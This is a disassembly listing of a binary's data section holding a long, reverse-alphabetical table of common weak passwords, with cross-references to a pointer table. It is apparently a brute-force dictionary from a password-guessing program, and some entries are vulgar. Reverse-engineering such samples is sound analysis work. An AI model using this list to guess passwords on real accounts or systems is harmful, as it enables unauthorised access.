aUsermane db 'usermane',0 ; DATA XREF: .nsp0:00427564o
align 4
aUsenet db 'usenet',0 ; DATA XREF: .nsp0:00427560o
align 4
aUrsula db 'ursula',0 ; DATA XREF: .nsp0:0042755Co
align 4
aUrchin db 'urchin',0 ; DATA XREF: .nsp0:00427558o
align 4
aUranus db 'uranus',0 ; DATA XREF: .nsp0:00427554o
align 4
aUpload db 'upload',0 ; DATA XREF: .nsp0:00427550o
align 4
aUnlock db 'unlock',0 ; DATA XREF: .nsp0:0042754Co
align 4
aUnknown_0 db 'unknown',0 ; DATA XREF: .nsp0:00427548o
aUniversi db 'universi',0 ; DATA XREF: .nsp0:00427544o
align 4
aUniverse db 'universe',0 ; DATA XREF: .nsp0:00427540o
align 4
aUniversa db 'universa',0 ; DATA XREF: .nsp0:0042753Co
align 10h
aUniform db 'uniform',0 ; DATA XREF: .nsp0:00427538o
aUnicorn db 'unicorn',0 ; DATA XREF: .nsp0:00427534o
aUnhappy db 'unhappy',0 ; DATA XREF: .nsp0:00427530o
aUndo db 'undo',0 ; DATA XREF: .nsp0:0042752Co
align 10h
aUncle db 'uncle',0 ; DATA XREF: .nsp0:00427528o
align 4
aUmesh db 'umesh',0 ; DATA XREF: .nsp0:00427524o
align 10h
aUgly db 'ugly',0 ; DATA XREF: .nsp0:00427520o
align 4
aTuttle db 'tuttle',0 ; DATA XREF: .nsp0:0042751Co
align 10h
aTurn db 'turn',0 ; DATA XREF: .nsp0:00427518o
align 4
aTuesday db 'tuesday',0 ; DATA XREF: .nsp0:00427514o
aTubas db 'tubas',0 ; DATA XREF: .nsp0:00427510o
align 4
aTruth db 'truth',0 ; DATA XREF: .nsp0:0042750Co
align 10h
aTrue db 'true',0 ; DATA XREF: .nsp0:00427508o
align 4
aTron db 'tron',0 ; DATA XREF: .nsp0:00427504o
align 10h
aTrombone db 'trombone',0 ; DATA XREF: .nsp0:00427500o
align 4
aTrojan db 'trojan',0 ; DATA XREF: .nsp0:004274FCo
align 4
aTrivial db 'trivial',0 ; DATA XREF: .nsp0:004274F8o
aTrisha db 'trisha',0 ; DATA XREF: .nsp0:004274F4o
align 4
aTrek db 'trek',0 ; DATA XREF: .nsp0:004274F0o
align 4
aTree db 'tree',0 ; DATA XREF: .nsp0:004274ECo
align 4
aTrapdoor db 'trapdoor',0 ; DATA XREF: .nsp0:004274E8o
align 10h
aTrap db 'trap',0 ; DATA XREF: .nsp0:004274E4o
align 4
aTransfer db 'transfer',0 ; DATA XREF: .nsp0:004274E0o
align 4
aTrails db 'trails',0 ; DATA XREF: .nsp0:004274DCo
align 4
aTracy db 'tracy',0 ; DATA XREF: .nsp0:004274D8o
align 4
aTracie db 'tracie',0 ; DATA XREF: .nsp0:004274D4o
align 4
aTraci db 'traci',0 ; DATA XREF: .nsp0:004274D0o
align 4
aToyota db 'toyota',0 ; DATA XREF: .nsp0:004274CCo
align 4
aToxic db 'toxic',0 ; DATA XREF: .nsp0:004274C8o
align 4
aTortoise db 'tortoise',0 ; DATA XREF: .nsp0:004274C4o
align 10h
aTopograp db 'topograp',0 ; DATA XREF: .nsp0:004274C0o
align 4
aTomato db 'tomato',0 ; DATA XREF: .nsp0:004274BCo
align 4
aTokenrin db 'tokenrin',0 ; DATA XREF: .nsp0:004274B8o
align 10h
aToken db 'token',0 ; DATA XREF: .nsp0:004274B4o
align 4
aToggle db 'toggle',0 ; DATA XREF: .nsp0:004274B0o
align 10h
aToad db 'toad',0 ; DATA XREF: .nsp0:004274ACo
align 4
aTits db 'tits',0 ; DATA XREF: .nsp0:004274A8o
align 10h
aTina db 'tina',0 ; DATA XREF: .nsp0:004274A4o
align 4
aTime db 'time',0 ; DATA XREF: .nsp0:004274A0o
align 10h
aTiger db 'tiger',0 ; DATA XREF: .nsp0:0042749Co
align 4
aTiffany db 'tiffany',0 ; DATA XREF: .nsp0:00427498o
aThursday db 'thursday',0 ; DATA XREF: .nsp0:00427494o
align 4
aThin db 'thin',0 ; DATA XREF: .nsp0:00427490o
align 4
aTheresa db 'theresa',0 ; DATA XREF: .nsp0:0042748Co
aThailand db 'thailand',0 ; DATA XREF: .nsp0:00427488o
align 4
aText db 'text',0 ; DATA XREF: .nsp0:00427484o
align 10h
aTetris db 'tetris',0 ; DATA XREF: .nsp0:00427480o
align 4
aTess db 'tess',0 ; DATA XREF: .nsp0:0042747Co
align 10h
aTerminat db 'terminat',0 ; DATA XREF: .nsp0:00427478o
align 4
aTerminal db 'terminal',0 ; DATA XREF: .nsp0:00427474o
align 4
aTera db 'tera',0 ; DATA XREF: .nsp0:00427470o
align 10h
aTennis db 'tennis',0 ; DATA XREF: .nsp0:0042746Co
align 4
aTemptati db 'temptati',0 ; DATA XREF: .nsp0:00427468o
align 4
aTelnet db 'telnet',0 ; DATA XREF: .nsp0:00427464o
align 4
aTelephon db 'telephon',0 ; DATA XREF: .nsp0:00427460o
align 4
aTeenage db 'teenage',0 ; DATA XREF: .nsp0:0042745Co
aTeen db 'teen',0 ; DATA XREF: .nsp0:00427458o
align 4
aTech db 'tech',0 ; DATA XREF: .nsp0:00427454o
align 10h
aTears db 'tears',0 ; DATA XREF: .nsp0:00427450o
align 4
aTeapot db 'teapot',0 ; DATA XREF: .nsp0:0042744Co
align 10h
aTeam db 'team',0 ; DATA XREF: .nsp0:00427448o
align 4
aTaylor db 'taylor',0
align 10h
aTarragon db 'tarragon',0
align 4
aTarget db 'target',0
align 4
aTara db 'tara',0
align 4
aTape db 'tape',0
align 4
aTango db 'tango',0
align 4
aTangerin db 'tangerin',0
align 4
aTammy db 'tammy',0
align 10h
aTamie db 'tamie',0
align 4
aTami db 'tami',0
align 10h
aTamara db 'tamara',0
align 4
aTall db 'tall',0
align 10h
aTalk db 'talk',0
align 4
aTabasco db 'tabasco',0
aSysop db 'sysop',0
align 4
aSysadmin db 'sysadmin',0
align 4
aSymmetry db 'symmetry',0 ; DATA XREF: .nsp0:00427400o
align 10h
aSybil db 'sybil',0 ; DATA XREF: .nsp0:004273FCo
align 4
aSword db 'sword',0 ; DATA XREF: .nsp0:004273F8o
align 10h
aSwitch db 'switch',0 ; DATA XREF: .nsp0:004273F4o
align 4
aSweat db 'sweat',0 ; DATA XREF: .nsp0:004273F0o
align 10h
aSwearer db 'swearer',0 ; DATA XREF: .nsp0:004273ECo
aSuzie db 'suzie',0 ; DATA XREF: .nsp0:004273E8o
align 10h
aSuzanne db 'suzanne',0 ; DATA XREF: .nsp0:004273E4o
aSusie db 'susie',0 ; DATA XREF: .nsp0:004273E0o
align 10h
aSusanne db 'susanne',0 ; DATA XREF: .nsp0:004273DCo
aSusan db 'susan',0 ; DATA XREF: .nsp0:004273D8o
align 10h
aSurfing db 'surfing',0 ; DATA XREF: .nsp0:004273D4o
aSurfer db 'surfer',0 ; DATA XREF: .nsp0:004273D0o
align 10h
aSupporte db 'supporte',0 ; DATA XREF: .nsp0:004273CCo
align 4
aSupport db 'support',0 ; DATA XREF: .nsp0:004273C8o
aSupervis db 'supervis',0 ; DATA XREF: .nsp0:004273C4o
align 10h
aSuperuse db 'superuse',0 ; DATA XREF: .nsp0:004273C0o
align 4
aSupersta db 'supersta',0 ; DATA XREF: .nsp0:004273BCo
align 4
aSuperson db 'superson',0 ; DATA XREF: .nsp0:004273B8o
align 4
aSuperman db 'superman',0 ; DATA XREF: .nsp0:004273B4o
align 10h
aSunday db 'sunday',0 ; DATA XREF: .nsp0:004273B0o
align 4
aSummer db 'summer',0 ; DATA XREF: .nsp0:004273ACo
align 10h
aSucks db 'sucks',0 ; DATA XREF: .nsp0:004273A8o
align 4
aSuckmydi db 'suckmydi',0 ; DATA XREF: .nsp0:004273A4o
align 4
aSuck db 'suck',0 ; DATA XREF: .nsp0:004273A0o
align 4
aSuccess db 'success',0 ; DATA XREF: .nsp0:0042739Co
aSubway db 'subway',0 ; DATA XREF: .nsp0:00427398o
align 4
aSubscrib db 'subscrib',0 ; DATA XREF: .nsp0:00427394o
align 4
aStuttgar db 'stuttgar',0 ; DATA XREF: .nsp0:00427390o
align 4
aStrip db 'strip',0
align 4
aString db 'string',0
align 4
aStreetfi db 'streetfi',0
align 10h
aStratfor db 'stratfor',0
align 4
aStrangle db 'strangle',0
align 4
aStrange db 'strange',0
aStones db 'stones',0
align 4
aStoned db 'stoned',0
align 10h
aStoneage db 'stoneage',0
align 4
aSteve db 'steve',0
align 4
aStereo db 'stereo',0
align 4
aStephani db 'stephani',0
align 4
aSteph db 'steph',0 ; DATA XREF: .nsp0:00427358o
align 10h
aSteel db 'steel',0 ; DATA XREF: .nsp0:00427354o
align 4
aSteal db 'steal',0 ; DATA XREF: .nsp0:00427350o
align 10h
aSteak db 'steak',0 ; DATA XREF: .nsp0:0042734Co
align 4
aStarwars db 'starwars',0 ; DATA XREF: .nsp0:00427348o
align 4
aStartup db 'startup',0 ; DATA XREF: .nsp0:00427344o
aStartrek db 'startrek',0 ; DATA XREF: .nsp0:00427340o
align 4
aStart db 'start',0 ; DATA XREF: .nsp0:0040BE40o
; .nsp0:0042733Co
align 10h
aStarship db 'starship',0 ; DATA XREF: .nsp0:00427338o
align 4
aStar db 'star',0 ; DATA XREF: .nsp0:00427334o
align 4
aStacy db 'stacy',0 ; DATA XREF: .nsp0:00427330o
align 4
aStacie db 'stacie',0 ; DATA XREF: .nsp0:0042732Co
align 4
aStaci db 'staci',0 ; DATA XREF: .nsp0:00427328o
align 4
aStacey db 'stacey',0 ; DATA XREF: .nsp0:00427324o
align 4
aSr71 db 'sr71',0 ; DATA XREF: .nsp0:00427320o
align 4
aSquires db 'squires',0 ; DATA XREF: .nsp0:0042731Co
aSpunk db 'spunk',0 ; DATA XREF: .nsp0:00427318o
align 4
aSpringer db 'springer',0 ; DATA XREF: .nsp0:00427314o
align 4
aSpring db 'spring',0 ; DATA XREF: .nsp0:00427310o
align 10h
aSpred db 'spred',0 ; DATA XREF: .nsp0:0042730Co
align 4
aSpit db 'spit',0 ; DATA XREF: .nsp0:00427308o
align 10h
aSpiderma db 'spiderma',0 ; DATA XREF: .nsp0:00427304o
align 4
aSpider db 'spider',0 ; DATA XREF: .nsp0:00427300o
align 4
aSpice db 'spice',0 ; DATA XREF: .nsp0:004272FCo
align 4
aSpell db 'spell',0 ; DATA XREF: .nsp0:004272F8o
align 4
aSpear db 'spear',0 ; DATA XREF: .nsp0:004272F4o
align 4
aSparrows db 'sparrows',0 ; DATA XREF: .nsp0:004272F0o
align 4
aSpaceshi db 'spaceshi',0 ; DATA XREF: .nsp0:004272ECo
align 4
aSouth db 'south',0 ; DATA XREF: .nsp0:004272E8o
align 4
aSource db 'source',0 ; DATA XREF: .nsp0:004272E4o
align 4
aSossina db 'sossina',0 ; DATA XREF: .nsp0:004272E0o
aSonya db 'sonya',0 ; DATA XREF: .nsp0:004272DCo
align 4
aSonic db 'sonic',0 ; DATA XREF: .nsp0:004272D8o
align 4
aSonia db 'sonia',0 ; DATA XREF: .nsp0:004272D4o
align 4
aSondra db 'sondra',0 ; DATA XREF: .nsp0:004272D0o
align 4
aSomebody db 'somebody',0 ; DATA XREF: .nsp0:004272CCo
align 4
aSoftware db 'software',0 ; DATA XREF: .nsp0:004272C8o
align 4
aSoft db 'soft',0 ; DATA XREF: .nsp0:004272C4o
align 4
aSodomy db 'sodomy',0 ; DATA XREF: .nsp0:004272C0o
align 4
aSocrates db 'socrates',0 ; DATA XREF: .nsp0:004272BCo
align 10h
aSocial db 'social',0 ; DATA XREF: .nsp0:004272B8o
align 4
aSoap db 'soap',0 ; DATA XREF: .nsp0:004272B4o
align 10h
aSnoopy db 'snoopy',0 ; DATA XREF: .nsp0:004272B0o
align 4
aSnatch db 'snatch',0 ; DATA XREF: .nsp0:004272ACo
align 10h
aSnake db 'snake',0 ; DATA XREF: .nsp0:004272A8o
align 4
aSnafu db 'snafu',0 ; DATA XREF: .nsp0:004272A4o
align 10h
aSnach db 'snach',0 ; DATA XREF: .nsp0:004272A0o
align 4
aSmut db 'smut',0 ; DATA XREF: .nsp0:0042729Co
align 10h
aSmtp db 'smtp',0 ; DATA XREF: .nsp0:00427298o
align 4
aSmother db 'smother',0 ; DATA XREF: .nsp0:00427294o
aSmooch db 'smooch',0 ; DATA XREF: .nsp0:00427290o
align 4
aSmiles db 'smiles',0 ; DATA XREF: .nsp0:0042728Co
align 10h
aSmile db 'smile',0 ; DATA XREF: .nsp0:00427288o
align 4
aSmart db 'smart',0 ; DATA XREF: .nsp0:00427284o
align 10h
aSmall db 'small',0 ; DATA XREF: .nsp0:00427280o
align 4
aSlut db 'slut',0 ; DATA XREF: .nsp0:0042727Co
align 10h
aSlow db 'slow',0 ; DATA XREF: .nsp0:00427278o
align 4
aSliders db 'sliders',0 ; DATA XREF: .nsp0:00427274o
aSlick db 'slick',0 ; DATA XREF: .nsp0:00427270o
align 4
aSlave db 'slave',0 ; DATA XREF: .nsp0:0042726Co
align 10h
aSkull db 'skull',0 ; DATA XREF: .nsp0:00427268o
align 4
aSite db 'site',0 ; DATA XREF: .nsp0:00427264o
align 10h
aSingle db 'single',0 ; DATA XREF: .nsp0:00427260o
align 4
aSinger db 'singer',0 ; DATA XREF: .nsp0:0042725Co
align 10h
aSimulati db 'simulati',0 ; DATA XREF: .nsp0:00427258o
align 4
aSimpsons db 'simpsons',0 ; DATA XREF: .nsp0:00427254o
align 4
aSimple db 'simple',0 ; DATA XREF: .nsp0:00427250o
align 10h
aSimon db 'simon',0 ; DATA XREF: .nsp0:0042724Co
align 4
aSimcity db 'simcity',0 ; DATA XREF: .nsp0:00427248o
aSilver db 'silver',0 ; DATA XREF: .nsp0:00427244o
align 4
aSignatur db 'signatur',0 ; DATA XREF: .nsp0:00427240o
align 4
aSierra db 'sierra',0 ; DATA XREF: .nsp0:0042723Co
align 4
aSick db 'sick',0 ; DATA XREF: .nsp0:00427238o
align 4
aShuttle db 'shuttle',0 ; DATA XREF: .nsp0:00427234o
aShort db 'short',0 ; DATA XREF: .nsp0:00427230o
align 4
aShivers db 'shivers',0 ; DATA XREF: .nsp0:0042722Co
aShiva db 'shiva',0 ; DATA XREF: .nsp0:00427228o
align 4
aShitpot db 'shitpot',0 ; DATA XREF: .nsp0:00427224o
aShit db 'shit',0 ; DATA XREF: .nsp0:00427220o
align 4
aShirley db 'shirley',0 ; DATA XREF: .nsp0:0042721Co
aShift db 'shift',0 ; DATA XREF: .nsp0:00427218o
align 4
aSherri db 'sherri',0 ; DATA XREF: .nsp0:00427214o
align 4
aShell db 'shell',0 ; DATA XREF: .nsp0:00427210o
align 4
aSheldon db 'sheldon',0 ; DATA XREF: .nsp0:0042720Co
aSheffiel db 'sheffiel',0 ; DATA XREF: .nsp0:00427208o
align 4
aSharon db 'sharon',0 ; DATA XREF: .nsp0:00427204o
align 10h
aSharks db 'sharks',0 ; DATA XREF: .nsp0:00427200o
align 4
aShark db 'shark',0 ; DATA XREF: .nsp0:004271FCo
align 10h
aSharc db 'sharc',0 ; DATA XREF: .nsp0:004271F8o
align 4
aShannon db 'shannon',0 ; DATA XREF: .nsp0:004271F4o
aSexy db 'sexy',0 ; DATA XREF: .nsp0:004271F0o
align 4
aSesame db 'sesame',0 ; DATA XREF: .nsp0:004271ECo
align 10h
aService db 'service',0 ; DATA XREF: .nsp0:004271E8o
aSerial db 'serial',0 ; DATA XREF: .nsp0:004271E4o
align 10h
aSerenity db 'serenity',0 ; DATA XREF: .nsp0:004271E0o
align 4
aSentry db 'sentry',0 ; DATA XREF: .nsp0:004271DCo
align 4
aSentinel db 'sentinel',0 ; DATA XREF: .nsp0:004271D8o
align 10h
aSensor db 'sensor',0 ; DATA XREF: .nsp0:004271D4o
align 4
aSega db 'sega',0 ; DATA XREF: .nsp0:004271D0o
align 10h
aSeed db 'seed',0 ; DATA XREF: .nsp0:004271CCo
align 4
aSecurity db 'security',0 ; DATA XREF: .nsp0:004271C8o
align 4
aSearch db 'search',0 ; DATA XREF: .nsp0:004271C4o
align 4
aScout db 'scout',0 ; DATA XREF: .nsp0:004271C0o
align 4
aScotty db 'scotty',0 ; DATA XREF: .nsp0:004271BCo
align 4
aScott db 'scott',0 ; DATA XREF: .nsp0:004271B8o
align 4
aScorpion db 'scorpion',0 ; DATA XREF: .nsp0:004271B4o
align 10h
aScifi db 'scifi',0 ; DATA XREF: .nsp0:004271B0o
align 4
aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .nsp0:004271ACo
aSchool db 'school',0 ; DATA XREF: .nsp0:004271A8o
align 4
aScheme db 'scheme',0 ; DATA XREF: .nsp0:004271A4o
align 4
aScamper db 'scamper',0 ; DATA XREF: .nsp0:004271A0o
aSaxon db 'saxon',0 ; DATA XREF: .nsp0:0042719Co
align 4
aSaturn db 'saturn',0 ; DATA XREF: .nsp0:00427198o
align 4
aSaturday db 'saturday',0 ; DATA XREF: .nsp0:00427194o
align 4
aSarah db 'sarah',0 ; DATA XREF: .nsp0:00427190o
align 10h
aSara db 'sara',0 ; DATA XREF: .nsp0:0042718Co
align 4
aSandy db 'sandy',0 ; DATA XREF: .nsp0:00427188o
align 10h
aSandra db 'sandra',0 ; DATA XREF: .nsp0:00427184o
align 4
aSample db 'sample',0 ; DATA XREF: .nsp0:00427180o
align 10h
aSamantha db 'samantha',0 ; DATA XREF: .nsp0:0042717Co
align 4
aSalt db 'salt',0 ; DATA XREF: .nsp0:00427178o
align 4
aSale db 'sale',0 ; DATA XREF: .nsp0:00427174o
align 4
aSalami db 'salami',0 ; DATA XREF: .nsp0:00427170o
align 4
aSafe db 'safe',0 ; DATA XREF: .nsp0:0042716Co
align 4
aRuth db 'ruth',0 ; DATA XREF: .nsp0:00427168o
align 4
aRush db 'rush',0 ; DATA XREF: .nsp0:00427164o
align 4
aRunning db 'running',0 ; DATA XREF: .nsp0:00427160o
aRules db 'rules',0 ; DATA XREF: .nsp0:0042715Co
align 4
aRude db 'rude',0 ; DATA XREF: .nsp0:00427158o
align 4
aRuby db 'ruby',0 ; DATA XREF: .nsp0:00427154o
align 4
aRuben db 'ruben',0 ; DATA XREF: .nsp0:00427150o
align 4
aRubber db 'rubber',0 ; DATA XREF: .nsp0:0042714Co
align 4
aRough db 'rough',0 ; DATA XREF: .nsp0:00427148o
align 4
aRoses db 'roses',0 ; DATA XREF: .nsp0:00427144o
align 4
aRosemary db 'rosemary',0 ; DATA XREF: .nsp0:00427140o
align 4
aRosebud db 'rosebud',0 ; DATA XREF: .nsp0:0042713Co
aRose db 'rose',0 ; DATA XREF: .nsp0:00427138o
align 4
aRonald db 'ronald',0 ; DATA XREF: .nsp0:00427134o
align 10h
aRomulan db 'romulan',0 ; DATA XREF: .nsp0:00427130o
aRomeo db 'romeo',0 ; DATA XREF: .nsp0:0042712Co
align 10h
aRomano db 'romano',0 ; DATA XREF: .nsp0:00427128o
align 4
aRolex db 'rolex',0 ; DATA XREF: .nsp0:00427124o
align 10h
aRodent db 'rodent',0 ; DATA XREF: .nsp0:00427120o
align 4
aRockyhor db 'rockyhor',0 ; DATA XREF: .nsp0:0042711Co
align 4
aRocky db 'rocky',0 ; DATA XREF: .nsp0:00427118o
align 4
aRock db 'rock',0 ; DATA XREF: .nsp0:00427114o
align 4
aRocheste db 'rocheste',0 ; DATA XREF: .nsp0:00427110o
align 10h
aRochelle db 'rochelle',0 ; DATA XREF: .nsp0:0042710Co
align 4
aRobyn db 'robyn',0 ; DATA XREF: .nsp0:00427108o
align 4
aRobotics db 'robotics',0 ; DATA XREF: .nsp0:00427104o
align 10h
aRobot db 'robot',0 ; DATA XREF: .nsp0:00427100o
align 4
aRobin db 'robin',0 ; DATA XREF: .nsp0:004270FCo
align 10h
aRobert db 'robert',0 ; DATA XREF: .nsp0:004270F8o
align 4
aRoach db 'roach',0 ; DATA XREF: .nsp0:004270F4o
align 10h
aRisc db 'risc',0 ; DATA XREF: .nsp0:004270F0o
align 4
aRipple db 'ripple',0 ; DATA XREF: .nsp0:004270ECo
align 10h
aRiot db 'riot',0 ; DATA XREF: .nsp0:004270E8o
align 4
aRing db 'ring',0 ; DATA XREF: .nsp0:004270E4o
align 10h
aRightwin db 'rightwin',0 ; DATA XREF: .nsp0:004270E0o
align 4
aRight db 'right',0 ; DATA XREF: .nsp0:004270DCo
align 4
aRiffraff db 'riffraff',0 ; DATA XREF: .nsp0:004270D8o
align 10h
aRick db 'rick',0 ; DATA XREF: .nsp0:004270D4o
align 4
aRich db 'rich',0 ; DATA XREF: .nsp0:004270D0o
align 10h
aRhino db 'rhino',0 ; DATA XREF: .nsp0:004270CCo
align 4
aReveal db 'reveal',0 ; DATA XREF: .nsp0:004270C8o
align 10h
aResistan db 'resistan',0 ; DATA XREF: .nsp0:004270C4o
align 4
aRepublic db 'republic',0 ; DATA XREF: .nsp0:004270C0o
align 4
aReport db 'report',0 ; DATA XREF: .nsp0:004270BCo
align 10h
aRent db 'rent',0 ; DATA XREF: .nsp0:004270B8o
align 4
aReno db 'reno',0 ; DATA XREF: .nsp0:004270B4o
align 10h
aRenee db 'renee',0 ; DATA XREF: .nsp0:004270B0o
align 4
aRemote db 'remote',0 ; DATA XREF: .nsp0:004270ACo
align 10h
aRelease db 'release',0 ; DATA XREF: .nsp0:004270A8o
aRegional db 'regional',0 ; DATA XREF: .nsp0:004270A4o
align 4
aReferenc db 'referenc',0 ; DATA XREF: .nsp0:004270A0o
align 10h
aRedhead db 'redhead',0 ; DATA XREF: .nsp0:0042709Co
aReddawn db 'reddawn',0 ; DATA XREF: .nsp0:00427098o
aRecord db 'record',0 ; DATA XREF: .nsp0:00427094o
align 4
aRebel db 'rebel',0 ; DATA XREF: .nsp0:00427090o
align 10h
aRebecca db 'rebecca',0 ; DATA XREF: .nsp0:0042708Co
aRebal db 'rebal',0 ; DATA XREF: .nsp0:00427088o
align 10h
aReaper db 'reaper',0 ; DATA XREF: .nsp0:00427084o
align 4
aReam db 'ream',0 ; DATA XREF: .nsp0:00427080o
align 10h
aReally db 'really',0 ; DATA XREF: .nsp0:0042707Co
align 4
aReality db 'reality',0 ; DATA XREF: .nsp0:00427078o
aReagan db 'reagan',0 ; DATA XREF: .nsp0:00427074o
align 4
aRazor db 'razor',0 ; DATA XREF: .nsp0:00427070o
align 10h
aRascal db 'rascal',0 ; DATA XREF: .nsp0:0042706Co
align 4
aRape db 'rape',0 ; DATA XREF: .nsp0:00427068o
align 10h
aRaleigh db 'raleigh',0 ; DATA XREF: .nsp0:00427060o
aRaindrop db 'raindrop',0 ; DATA XREF: .nsp0:0042705Co
align 4
aRainbow db 'rainbow',0 ; DATA XREF: .nsp0:00427058o
aRain db 'rain',0 ; DATA XREF: .nsp0:00427054o
align 4
aRaid db 'raid',0 ; DATA XREF: .nsp0:00427050o
align 4
aRachmani db 'rachmani',0 ; DATA XREF: .nsp0:0042704Co
align 4
aRachelle db 'rachelle',0 ; DATA XREF: .nsp0:00427048o
align 4
aRachel db 'rachel',0 ; DATA XREF: .nsp0:00427044o
align 4
aRabbit db 'rabbit',0 ; DATA XREF: .nsp0:00427040o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .nsp0:0042703Co
align 4
aQwert db 'qwert',0 ; DATA XREF: .nsp0:00427038o
align 4
aQuebec db 'quebec',0 ; DATA XREF: .nsp0:00427034o
align 4
aPussy db 'pussy',0 ; DATA XREF: .nsp0:00427030o
align 4
aPuppet db 'puppet',0 ; DATA XREF: .nsp0:0042702Co
align 4
aPunk db 'punk',0 ; DATA XREF: .nsp0:00427028o
align 4
aPunisher db 'punisher',0 ; DATA XREF: .nsp0:00427024o
align 10h
aPuneet db 'puneet',0 ; DATA XREF: .nsp0:00427020o
align 4
aPumpkin db 'pumpkin',0 ; DATA XREF: .nsp0:0042701Co
aPuke db 'puke',0 ; DATA XREF: .nsp0:00427018o
align 4
aPuck db 'puck',0 ; DATA XREF: .nsp0:00427014o
align 10h
aPublic db 'public',0 ; DATA XREF: .nsp0:00427010o
align 4
aPsychopa db 'psychopa',0 ; DATA XREF: .nsp0:0042700Co
align 4
aPsycho db 'psycho',0 ; DATA XREF: .nsp0:00427008o
align 4
aProtozoa db 'protozoa',0 ; DATA XREF: .nsp0:00427004o
align 4
aProtect db 'protect',0 ; DATA XREF: .nsp0:00427000o
aPrompt db 'prompt',0 ; DATA XREF: .nsp0:00426FFCo
align 4
aProgram db 'program',0 ; DATA XREF: .nsp0:00426FF8o
aProfile db 'profile',0 ; DATA XREF: .nsp0:00426FF4o
aProfesso db 'professo',0 ; DATA XREF: .nsp0:00426FF0o
align 4
aProcesso db 'processo',0 ; DATA XREF: .nsp0:00426FECo
align 10h
aProceed db 'proceed',0 ; DATA XREF: .nsp0:00426FE8o
aPrivs db 'privs',0 ; DATA XREF: .nsp0:00426FE4o
align 10h
aPrivate db 'private',0 ; DATA XREF: .nsp0:00426FE0o
aPriv db 'priv',0 ; DATA XREF: .nsp0:00426FDCo
align 10h
aPrinter db 'printer',0 ; DATA XREF: .nsp0:00426FD8o
aPrinceto db 'princeto',0 ; DATA XREF: .nsp0:00426FD4o
align 4
aPrince db 'prince',0 ; DATA XREF: .nsp0:00426FD0o
align 4
aPresto db 'presto',0 ; DATA XREF: .nsp0:00426FCCo
align 4
aPrelude db 'prelude',0 ; DATA XREF: .nsp0:00426FC8o
aPrecious db 'precious',0 ; DATA XREF: .nsp0:00426FC4o
align 4
aPraise db 'praise',0 ; DATA XREF: .nsp0:00426FC0o
align 10h
aPower db 'power',0 ; DATA XREF: .nsp0:00426FBCo
align 4
aPoster db 'poster',0 ; DATA XREF: .nsp0:00426FB8o
align 10h
aPost db 'post',0 ; DATA XREF: .nsp0:00426FB4o
align 4
aPorsche db 'porsche',0 ; DATA XREF: .nsp0:00426FB0o
aPorno db 'porno',0 ; DATA XREF: .nsp0:00426FACo
align 4
aPorn db 'porn',0 ; DATA XREF: .nsp0:00426FA8o
align 10h
aPork db 'pork',0 ; DATA XREF: .nsp0:00426FA4o
align 4
aPoor db 'poor',0 ; DATA XREF: .nsp0:00426FA0o
align 10h
aPoop db 'poop',0 ; DATA XREF: .nsp0:00426F9Co
align 4
aPonderin db 'ponderin',0 ; DATA XREF: .nsp0:00426F98o
align 4
aPolynomi db 'polynomi',0 ; DATA XREF: .nsp0:00426F94o
align 10h
aPolly db 'polly',0 ; DATA XREF: .nsp0:00426F90o
align 4
aPolice db 'police',0 ; DATA XREF: .nsp0:00426F8Co
align 10h
aPoetry db 'poetry',0 ; DATA XREF: .nsp0:00426F88o
align 4
aPlymouth db 'plymouth',0 ; DATA XREF: .nsp0:00426F84o
align 4
aPluto db 'pluto',0 ; DATA XREF: .nsp0:00426F80o
align 4
aPlover db 'plover',0 ; DATA XREF: .nsp0:00426F7Co
align 4
aPlayboy db 'playboy',0 ; DATA XREF: .nsp0:00426F78o
aPlane db 'plane',0 ; DATA XREF: .nsp0:00426F74o
align 4
aPizza db 'pizza',0 ; DATA XREF: .nsp0:00426F70o
align 4
aPiss db 'piss',0 ; DATA XREF: .nsp0:00426F6Co
align 4
aPinname db 'pinname',0 ; DATA XREF: .nsp0:00426F68o
aPimp db 'pimp',0 ; DATA XREF: .nsp0:00426F64o
align 4
aPierre db 'pierre',0 ; DATA XREF: .nsp0:00426F60o
align 4
aPick db 'pick',0 ; DATA XREF: .nsp0:00426F5Co
align 4
aPhuck db 'phuck',0 ; DATA XREF: .nsp0:00426F58o
align 4
aPhreak db 'phreak',0 ; DATA XREF: .nsp0:00426F54o
align 4
aPhrase db 'phrase',0 ; DATA XREF: .nsp0:00426F50o
align 4
aPhrack db 'phrack',0 ; DATA XREF: .nsp0:00426F4Co
align 4
aPhoton db 'photon',0 ; DATA XREF: .nsp0:00426F48o
align 4
aPhone db 'phone',0 ; DATA XREF: .nsp0:00426F44o
align 4
aPhoenix db 'phoenix',0 ; DATA XREF: .nsp0:00426F40o
aPhilip db 'philip',0 ; DATA XREF: .nsp0:00426F3Co
align 4
aPhil db 'phil',0 ; DATA XREF: .nsp0:00426F38o
align 4
aPeter db 'peter',0 ; DATA XREF: .nsp0:00426F34o
align 4
aPete db 'pete',0 ; DATA XREF: .nsp0:00426F30o
align 4
aPervert db 'pervert',0 ; DATA XREF: .nsp0:00426F2Co
aPersona db 'persona',0 ; DATA XREF: .nsp0:00426F28o
aPersimmo db 'persimmo',0 ; DATA XREF: .nsp0:00426F24o
align 4
aPermit db 'permit',0 ; DATA XREF: .nsp0:00426F20o
align 10h
aPerfect db 'perfect',0 ; DATA XREF: .nsp0:00426F1Co
aPercolat db 'percolat',0 ; DATA XREF: .nsp0:00426F18o
align 4
aPepper db 'pepper',0 ; DATA XREF: .nsp0:00426F14o
align 4
aPeoria db 'peoria',0 ; DATA XREF: .nsp0:00426F10o
align 4
aPentium db 'pentium',0 ; DATA XREF: .nsp0:00426F0Co
aPenthous db 'penthous',0 ; DATA XREF: .nsp0:00426F08o
align 4
aPentagra db 'pentagra',0 ; DATA XREF: .nsp0:00426F04o
align 4
aPentagon db 'pentagon',0 ; DATA XREF: .nsp0:00426F00o
align 10h
aPenname db 'penname',0 ; DATA XREF: .nsp0:00426EFCo
aPenis db 'penis',0 ; DATA XREF: .nsp0:00426EF8o
align 10h
aPenguin db 'penguin',0 ; DATA XREF: .nsp0:00426EF4o
aPenelope db 'penelope',0 ; DATA XREF: .nsp0:00426EF0o
align 4
aPencil db 'pencil',0 ; DATA XREF: .nsp0:00426EECo
align 4
aPecker db 'pecker',0 ; DATA XREF: .nsp0:00426EE8o
align 4
aPeanuts db 'peanuts',0 ; DATA XREF: .nsp0:00426EE4o
aPaula db 'paula',0 ; DATA XREF: .nsp0:00426EE0o
align 4
aPatty db 'patty',0 ; DATA XREF: .nsp0:00426EDCo
align 4
aPatriot db 'patriot',0 ; DATA XREF: .nsp0:00426ED8o
